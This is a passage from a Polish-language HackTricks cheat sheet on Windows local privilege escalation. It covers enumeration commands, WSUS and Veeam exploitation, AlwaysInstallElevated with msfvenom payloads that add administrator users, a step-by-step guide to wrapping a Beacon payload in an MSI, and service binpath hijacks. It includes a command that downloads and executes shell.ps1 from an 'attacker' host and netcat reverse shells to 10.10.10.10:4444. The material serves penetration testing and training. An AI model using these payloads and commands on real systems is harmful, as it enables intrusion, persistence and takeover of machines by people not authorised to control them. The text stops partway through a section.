Windows Local Privilege Escalation
Tip
Ucz się i ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).
Wsparcie HackTricks
- Sprawdź plany subskrypcji!
- Dołącz do 💬 grupy Discord, grupy telegram, obserwuj @hacktricks_live na X/Twitter, albo sprawdź stronę LinkedIn i kanał YouTube.
- Dziel się hacking tricks, wysyłając PR do repozytoriów github HackTricks i HackTricks Cloud.
Najlepsze narzędzie do szukania wektorów Windows local privilege escalation: WinPEAS
Początkowa teoria Windows
Access Tokens
Jeśli nie wiesz, czym są Windows Access Tokens, przeczytaj następującą stronę przed kontynuowaniem:
ACLs - DACLs/SACLs/ACEs
Sprawdź następującą stronę, aby uzyskać więcej informacji o ACLs - DACLs/SACLs/ACEs:
Integrity Levels
Jeśli nie wiesz, czym są integrity levels w Windows, powinieneś przeczytać następującą stronę przed kontynuowaniem:
Windows Security Controls
W Windows istnieją różne rzeczy, które mogą uniemożliwić enumerację systemu, uruchamianie plików wykonywalnych, a nawet wykrywać twoje działania. Powinieneś przeczytać następującą stronę i wyenumerować wszystkie te mechanizmy obronne przed rozpoczęciem enumeracji privilege escalation:
Admin Protection / UIAccess silent elevation
Procesy UIAccess uruchamiane przez RAiLaunchAdminProcess mogą być nadużyte, aby osiągnąć High IL bez promptów, gdy kontrole secure-path AppInfo są obejściowe. Sprawdź tutaj dedykowany workflow obejścia UIAccess/Admin Protection:
Uiaccess Admin Protection Bypass
Propagacja rejestru dostępności Secure Desktop może być nadużyta do arbitralnego zapisu do rejestru SYSTEM (RegPwn):
Secure Desktop Accessibility Registry Propagation LPE (RegPwn)
System Info
Version info enumeration
Sprawdź, czy wersja Windows ma jakąkolwiek znaną podatność (sprawdź też zastosowane poprawki).
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
Version Exploits
Ten site jest przydatny do wyszukiwania szczegółowych informacji o podatnościach bezpieczeństwa Microsoft. Ta baza danych zawiera ponad 4,700 podatności bezpieczeństwa, pokazując ogromną powierzchnię ataku, jaką prezentuje środowisko Windows.
On the system
- post/windows/gather/enum_patches
- post/multi/recon/local_exploit_suggester
- watson
- winpeas (Winpeas ma osadzony watson)
Lokalnie z informacjami o systemie
Repozytoria exploitów na Github:
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/abatchy17/WindowsExploits
- https://github.com/SecWiki/windows-kernel-exploits
Environment
Jakieś credential/Juicy info zapisane w zmiennych środowiskowych?
set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize
Historia PowerShell
ConsoleHost_history #Find the PATH where is saved
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
Pliki transkrypcji PowerShell
Możesz dowiedzieć się, jak to włączyć w https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts
#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript
Rejestrowanie modułów PowerShell
Szczegóły wykonywania potoków PowerShell są rejestrowane, obejmując uruchomione polecenia, wywołania poleceń oraz fragmenty skryptów. Jednak pełne szczegóły wykonania i wyniki wyjściowe mogą nie zostać przechwycone.
Aby to włączyć, postępuj zgodnie z instrukcjami w sekcji „Transcript files” dokumentacji, wybierając „Module Logging” zamiast „Powershell Transcription”.
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
Aby wyświetlić ostatnie 15 zdarzeń z logów PowersShell, możesz wykonać:
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
PowerShell Script Block Logging
Kompletna aktywność i pełny zapis zawartości wykonania skryptu są przechwytywane, zapewniając, że każdy blok kodu jest dokumentowany w trakcie działania. Proces ten zachowuje kompleksowy ślad audytowy każdej aktywności, przydatny w analizie forensic i analizie złośliwego zachowania. Dokumentując całą aktywność w momencie wykonania, zapewniane są szczegółowe informacje o procesie.
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
Zdarzenia logowania dla Script Block można znaleźć w Windows Event Viewer pod ścieżką: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Aby wyświetlić ostatnie 20 zdarzeń, możesz użyć:
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
Ustawienia Internetu
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
Dyski
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
WSUS
Możesz skompromitować system, jeśli aktualizacje nie są pobierane przez httpS, tylko przez http.
Zaczynasz od sprawdzenia, czy sieć używa nieszyfrowanych aktualizacji WSUS, uruchamiając w cmd następujące polecenie:
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
Albo następujące w PowerShell:
Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"
Jeśli otrzymasz odpowiedź taką jak jedna z tych:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
WUServer : http://xxxx-updxx.corp.internal.com:8530
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName : windowsupdate
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
A jeśli HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer lub Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" ma wartość 1.
Wtedy jest to exploitable. Jeśli ostatni registry ma wartość 0, wpis WSUS zostanie zignorowany.
Aby exploitować te vulnerabilities, możesz użyć narzędzi takich jak: Wsuxploit, pyWSUS - Są to MiTM weaponized exploits scripts do wstrzykiwania “fake” updates do non-SSL ruchu WSUS.
Przeczytaj research tutaj:
WSUS CVE-2020-1013
Przeczytaj pełny report tutaj.
W zasadzie to jest flaw, który exploituje ten bug:
Jeśli mamy power do modyfikacji naszego local user proxy, a Windows Updates używa proxy skonfigurowanego w ustawieniach Internet Explorera, to mamy również power do uruchomienia PyWSUS lokalnie, aby przechwycić nasz własny traffic i uruchomić code jako elevated user na naszym asset.
Ponadto, ponieważ usługa WSUS używa ustawień current user, będzie również używać jego certificate store. Jeśli wygenerujemy self-signed certificate dla hosta WSUS i dodamy ten certificate do certificate store current user, będziemy mogli przechwycić zarówno HTTP, jak i HTTPS traffic WSUS. WSUS nie używa mechanizmów podobnych do HSTS, aby zaimplementować walidację typu trust-on-first-use dla certificate. Jeśli certificate przedstawiony jest trusted przez usera i ma poprawny hostname, zostanie zaakceptowany przez usługę.
Możesz exploitować tę vulnerability, używając narzędzia WSUSpicious (gdy zostanie uwolnione).
Third-Party Auto-Updaters and Agent IPC (local privesc)
Wiele enterprise agents udostępnia lokalny localhost IPC surface oraz privileged update channel. Jeśli enrollment może zostać wymuszony na attacker server, a updater ufa rogue root CA lub słabym sprawdzeniom signer, local user może dostarczyć malicious MSI, który usługa SYSTEM instaluje. Zobacz uogólnioną technikę (opartą na łańcuchu Netskope stAgentSvc – CVE-2025-0309) tutaj:
Veeam Backup & Replication CVE-2023-27532 (SYSTEM via TCP 9401)
Veeam B&R < 11.0.1.1261 exposes lokalną usługę na TCP/9401, która przetwarza wiadomości kontrolowane przez attacker, umożliwiając arbitrary commands jako NT AUTHORITY\SYSTEM.
- Recon: potwierdź listener i version, np.
netstat -ano | findstr 9401oraz(Get-Item "C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Shell.exe").VersionInfo.FileVersion. - Exploit: umieść PoC taki jak
VeeamHax.exez wymaganymi bibliotekami Veeam DLL w tym samym katalogu, a następnie wywołaj payload SYSTEM przez local socket:
.\VeeamHax.exe --cmd "powershell -ep bypass -c \"iex(iwr http://attacker/shell.ps1 -usebasicparsing)\""
Usługa wykonuje polecenie jako SYSTEM.
KrbRelayUp
Istnieje luka typu local privilege escalation w środowiskach Windows domain w określonych warunkach. Warunki te obejmują środowiska, w których LDAP signing is not enforced, użytkownicy mają self-rights pozwalające im konfigurować Resource-Based Constrained Delegation (RBCD), oraz istnieje możliwość tworzenia komputerów w domenie. Warto zauważyć, że te requirements są spełnione przy użyciu default settings.
Znajdź exploit in https://github.com/Dec0ne/KrbRelayUp
Więcej informacji o przebiegu ataku znajdziesz tutaj https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/
AlwaysInstallElevated
Jeśli te 2 rejestry są enabled (wartość to 0x1), wtedy użytkownicy o dowolnych uprawnieniach mogą install (execute) pliki *.msi jako NT AUTHORITY\SYSTEM.
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Payloady Metasploit
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
Jeśli masz sesję meterpreter, możesz zautomatyzować tę technikę, używając modułu exploit/windows/local/always_install_elevated
PowerUP
Użyj polecenia Write-UserAddMSI z power-up, aby utworzyć w bieżącym katalogu binarny plik Windows MSI do podniesienia uprawnień. Ten skrypt zapisuje wstępnie skompilowany instalator MSI, który wyświetla monit o dodanie użytkownika/grupy (więc będziesz potrzebować dostępu GIU):
Write-UserAddMSI
Po prostu uruchom utworzony plik binarny, aby podnieść uprawnienia.
MSI Wrapper
Przeczytaj ten tutorial, aby dowiedzieć się, jak utworzyć wrapper MSI przy użyciu tych narzędzi. Zwróć uwagę, że możesz opakować plik “.bat”, jeśli po prostu chcesz uruchamiać linie poleceń
Create MSI with WIX
Create MSI with Visual Studio
- Wygeneruj za pomocą Cobalt Strike lub Metasploit nowy Windows EXE TCP payload w
C:\privesc\beacon.exe - Otwórz Visual Studio, wybierz Create a new project i wpisz “installer” w polu wyszukiwania. Wybierz projekt Setup Wizard i kliknij Next.
- Nadaj projektowi nazwę, np. AlwaysPrivesc, użyj
C:\privescjako lokalizacji, zaznacz place solution and project in the same directory i kliknij Create. - Klikaj Next, aż dojdziesz do kroku 3 z 4 (choose files to include). Kliknij Add i wybierz właśnie wygenerowany payload Beacon. Następnie kliknij Finish.
- Zaznacz projekt AlwaysPrivesc w Solution Explorer i w Properties zmień TargetPlatform z x86 na x64.
- Istnieją też inne właściwości, które możesz zmienić, takie jak Author i Manufacturer, co może sprawić, że zainstalowana aplikacja będzie wyglądać bardziej wiarygodnie.
- Kliknij prawym przyciskiem myszy projekt i wybierz View > Custom Actions.
- Kliknij prawym przyciskiem myszy Install i wybierz Add Custom Action.
- Kliknij dwukrotnie Application Folder, wybierz plik beacon.exe i kliknij OK. To zapewni, że payload beacon zostanie uruchomiony zaraz po uruchomieniu instalatora.
- W Custom Action Properties zmień Run64Bit na True.
- Na koniec zbuduj go.
- Jeśli pojawi się ostrzeżenie
File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86', upewnij się, że ustawiono platformę na x64.
MSI Installation
Aby wykonać instalację złośliwego pliku .msi w tle:
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
Aby wykorzystać tę podatność, możesz użyć: exploit/windows/local/always_install_elevated
Antivirus and Detectors
Audit Settings
Te ustawienia decydują o tym, co jest logowane, więc powinieneś zwrócić uwagę
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
WEF
Windows Event Forwarding, jest ważne do wiedzy, gdzie są wysyłane logi
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
LAPS
LAPS jest przeznaczony do zarządzania hasłami lokalnego Administratora, zapewniając, że każde hasło jest unikalne, losowe i regularnie aktualizowane na komputerach dołączonych do domeny. Te hasła są bezpiecznie przechowywane w Active Directory i mogą być odczytywane wyłącznie przez użytkowników, którym przyznano odpowiednie uprawnienia poprzez ACLs, umożliwiając im podgląd haseł lokalnego admina, jeśli są autoryzowani.
WDigest
Jeśli aktywny, hasła jawne są przechowywane w LSASS (Local Security Authority Subsystem Service).
Więcej informacji o WDigest na tej stronie.
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
Ochrona LSA
Począwszy od Windows 8.1, Microsoft wprowadził ulepszoną ochronę Local Security Authority (LSA), aby blokować próby nieufnych procesów od odczytu jego pamięci lub wstrzykiwania kodu, dodatkowo zabezpieczając system.
Więcej informacji o ochronie LSA tutaj.
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
Credential Guard
Credential Guard został wprowadzony w Windows 10. Jego celem jest zabezpieczenie poświadczeń przechowywanych na urządzeniu przed zagrożeniami takimi jak ataki pass-the-hash.| More info about Credentials Guard here.
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
Poświadczenia w pamięci podręcznej
Poświadczenia domenowe są uwierzytelniane przez Local Security Authority (LSA) i wykorzystywane przez komponenty systemu operacyjnego. Gdy dane logowania użytkownika zostaną uwierzytelnione przez zarejestrowany pakiet zabezpieczeń, zwykle są ustanawiane poświadczenia domenowe dla tego użytkownika.
Więcej informacji o Cached Credentials tutaj.
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
Użytkownicy i grupy
Wyliczanie użytkowników i grup
Powinieneś sprawdzić, czy któraś z grup, do których należysz, ma interesujące uprawnienia
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges
# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Uprzywilejowane grupy
Jeśli należysz do jakiejś uprzywilejowanej grupy, możesz być w stanie podnieść uprawnienia. Dowiedz się więcej o uprzywilejowanych grupach i o tym, jak je nadużywać, aby podnosić uprawnienia, tutaj:
Manipulacja tokenami
Dowiedz się więcej o tym, czym jest token na tej stronie: Windows Tokens.
Sprawdź następującą stronę, aby dowiedzieć się o interesujących tokenach i o tym, jak je nadużywać:
Zalogowani użytkownicy / Sesje
qwinsta
klist sessions
Foldery domowe
dir C:\Users
Get-ChildItem C:\Users
Polityka haseł
net accounts
Pobierz zawartość schowka
powershell -command "Get-Clipboard"
Running Processes
Uprawnienia plików i folderów
Przede wszystkim, wyświetlając procesy, sprawdź, czy w linii poleceń procesu nie ma haseł.
Sprawdź, czy możesz nadpisać jakiś uruchomiony binarny plik albo czy masz uprawnienia do zapisu w folderze binarnym, aby wykorzystać możliwe ataki DLL Hijacking:
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Zawsze sprawdzaj, czy działają [electron/cef/chromium debuggers], możesz to wykorzystać do podniesienia uprawnień](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
Sprawdzanie uprawnień plików binarnych procesów
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)
Sprawdzanie uprawnień folderów plików binarnych procesów (DLL Hijacking)
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)
Memory Password mining
Możesz utworzyć zrzut pamięci działającego procesu używając procdump z sysinternals. Usługi takie jak FTP mają poświadczenia w postaci jawnego tekstu w pamięci, spróbuj zrzucić pamięć i odczytać poświadczenia.
procdump.exe -accepteula -ma <proc_name_tasklist>
Niezabezpieczone aplikacje GUI
Aplikacje działające jako SYSTEM mogą pozwalać użytkownikowi uruchomić CMD albo przeglądać katalogi.
Przykład: “Windows Help and Support” (Windows + F1), wyszukaj “command prompt”, kliknij “Click to open Command Prompt”
Usługi
Service Triggers pozwalają Windows uruchomić usługę, gdy wystąpią określone warunki (aktywność named pipe/RPC endpoint, zdarzenia ETW, dostępność IP, pojawienie się urządzenia, odświeżenie GPO itd.). Nawet bez uprawnień SERVICE_START często można uruchamiać uprzywilejowane usługi, wywołując ich wyzwalacze. Zobacz techniki enumeracji i aktywacji tutaj:
Uzyskaj listę usług:
net start
wmic service list brief
sc query
Get-Service
Uprawnienia
Możesz użyć sc aby uzyskać informacje o usłudze
sc qc <service_name>
Zaleca się mieć binarny plik accesschk z Sysinternals, aby sprawdzić wymagany poziom uprawnień dla każdej usługi.
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
Zaleca się sprawdzić, czy “Authenticated Users” mogą modyfikować dowolną usługę:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
Możesz pobrać accesschk.exe dla XP tutaj
Włącz usługę
Jeśli masz ten błąd (na przykład z SSDPSRV):
System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.
Możesz ją włączyć używając
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
Weź pod uwagę, że usługa upnphost zależy od SSDPSRV, aby działać (dla XP SP1)
Innym obejściem tego problemu jest uruchomienie:
sc.exe config usosvc start= auto
Modify service binary path
W scenariuszu, w którym grupa “Authenticated users” posiada SERVICE_ALL_ACCESS na usłudze, możliwa jest modyfikacja wykonywalnego binarnego pliku usługi. Aby zmodyfikować i wykonać sc:
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
Restart usługi
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
Uprawnienia mogą zostać podniesione poprzez różne permissions:
- SERVICE_CHANGE_CONFIG: Umożliwia rekonfigurację binary usługi.
- WRITE_DAC: Umożliwia rekonfigurację permissions, co prowadzi do możliwości zmiany service configurations.
- WRITE_OWNER: Pozwala na przejęcie ownership i rekonfigurację permissions.
- GENERIC_WRITE: Dziedziczy możliwość zmiany service configurations.
- GENERIC_ALL: Również dziedziczy możliwość zmiany service configurations.
Do wykrywania i exploitation tej vulnerability można wykorzystać exploit/windows/local/service_permissions.
Services binaries weak permissions
Sprawdź, czy możesz modyfikować binary wykonywany przez service albo czy masz write permissions do folderu, w którym znajduje się binary (DLL Hijacking).
Możesz uzyskać każdy binary wykonywany przez service za pomocą wmic (nie w system32) i sprawdzić swoje permissions używając icacls:
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
Możesz też użyć sc i icacls:
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
Uprawnienia do modyfikacji rejestru usług
Powinieneś sprawdzić, czy możesz modyfikować dowolny rejestr usługi.
Możesz sprawdzić swoje uprawnienia względem rejestru usługi, wykonując:
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
Należy sprawdzić, czy Authenticated Users lub NT AUTHORITY\INTERACTIVE mają uprawnienia FullControl. Jeśli tak, można zmodyfikować binarny plik uruchamiany przez usługę.
Aby zmienić Path binarnego pliku uruchamianego:
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
Registry symlink race to arbitrary HKLM value write (ATConfig)
Niektóre funkcje ułatwień dostępu Windows tworzą per-user klucze ATConfig, które są później kopiowane przez proces SYSTEM do klucza sesji HKLM. Registry symbolic link race może przekierować ten uprzywilejowany zapis do dowolnej ścieżki HKLM, dając prymityw arbitrary HKLM value write.
Kluczowe lokalizacje (przykład: On-Screen Keyboard osk):
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATslistuje zainstalowane funkcje ułatwień dostępu.HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATConfig\<feature>przechowuje kontrolowaną przez użytkownika konfigurację.HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\Session<session id>\ATConfig\<feature>jest tworzony podczas logowania/przejść secure-desktop i jest zapisywalny przez użytkownika.
Przebieg nadużycia (CVE-2026-24291 / ATConfig):
- Ustaw wartość HKCU ATConfig, którą chcesz, aby SYSTEM zapisał.
- Wywołaj kopiowanie na secure-desktop (np. LockWorkstation), co uruchamia przepływ AT broker.
- Wygraj race, zakładając oplock na
C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\oskmenu.xml; gdy oplock się uruchomi, podmień klucz HKLM Session ATConfig na registry link wskazujący na chroniony cel HKLM. - SYSTEM zapisuje wybraną przez atakującego wartość do przekierowanej ścieżki HKLM.
Gdy masz arbitralny zapis wartości HKLM, przejdź do LPE przez nadpisanie wartości konfiguracji usługi:
HKLM\SYSTEM\CurrentControlSet\Services\<svc>\ImagePath(EXE/command line)HKLM\SYSTEM\CurrentControlSet\Services\<svc>\Parameters\ServiceDll(DLL)
Wybierz usługę, którą zwykły użytkownik może uruchomić (np. msiserver) i uruchom ją po zapisie. Uwaga: publiczna implementacja exploita blokuje workstation jako część race.
Przykładowe narzędzia (RegPwn BOF / standalone):
beacon> regpwn C:\payload.exe SYSTEM\CurrentControlSet\Services\msiserver ImagePath
beacon> regpwn C:\evil.dll SYSTEM\CurrentControlSet\Services\SomeService\Parameters ServiceDll
net start msiserver
Uprawnienia AppendData/AddSubdirectory w rejestrze usług
Jeśli masz to uprawnienie względem rejestru, oznacza to, że możesz tworzyć podrejestry z tego rejestru. W przypadku usług Windows jest to wystarczające do wykonania dowolnego kodu:
AppendData/AddSubdirectory permission over service registry
Unquoted Service Paths
Jeśli ścieżka do pliku wykonywalnego nie jest ujęta w cudzysłów, Windows spróbuje wykonać każdy fragment kończący się przed spacją.
Na przykład dla ścieżki C:\Program Files\Some Folder\Service.exe Windows spróbuje wykonać:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
Wypisz wszystkie unquoted service paths, z wyłączeniem tych należących do wbudowanych usług Windows:
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\system32" | findstr /i /v '\"' # Not only auto services
# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:"\""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
Możesz wykryć i wykorzystać tę podatność za pomocą metasploit: exploit/windows/local/trusted\_service\_path Możesz ręcznie utworzyć binarkę usługi za pomocą metasploit:
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
Actions odzyskiwania
Windows pozwala użytkownikom określić akcje, które mają zostać wykonane, jeśli usługa zawiedzie. Ta funkcja może być skonfigurowana tak, aby wskazywała na binary. Jeśli ten binary da się podmienić, możliwe może być privilege escalation. Więcej szczegółów można znaleźć w official documentation.
Applications
Zainstalowane Applications
Sprawdź permissions binary (może uda ci się nadpisać jeden i wykonać privilege escalation) oraz folders (DLL Hijacking).
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
Uprawnienia do zapisu
Sprawdź, czy możesz zmodyfikować jakiś plik konfiguracyjny, aby odczytać jakiś specjalny plik, albo czy możesz zmodyfikować jakiś binarny plik, który zostanie uruchomiony przez konto Administratora (schedtasks).
Sposobem na znalezienie słabych uprawnień do folderów/plików w systemie jest:
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
Notepad++ plugin autoload persistence/execution
Notepad++ automatycznie ładuje każdy plugin DLL znajdujący się w jego podfolderach plugins. Jeśli obecna jest zapisywalna instalacja portable/copy, podłożenie złośliwego plugin daje automatyczne wykonanie kodu wewnątrz notepad++.exe przy każdym uruchomieniu (w tym z DllMain i callbacków pluginu).
Notepad Plus Plus Plugin Autoload Persistence
Run at startup
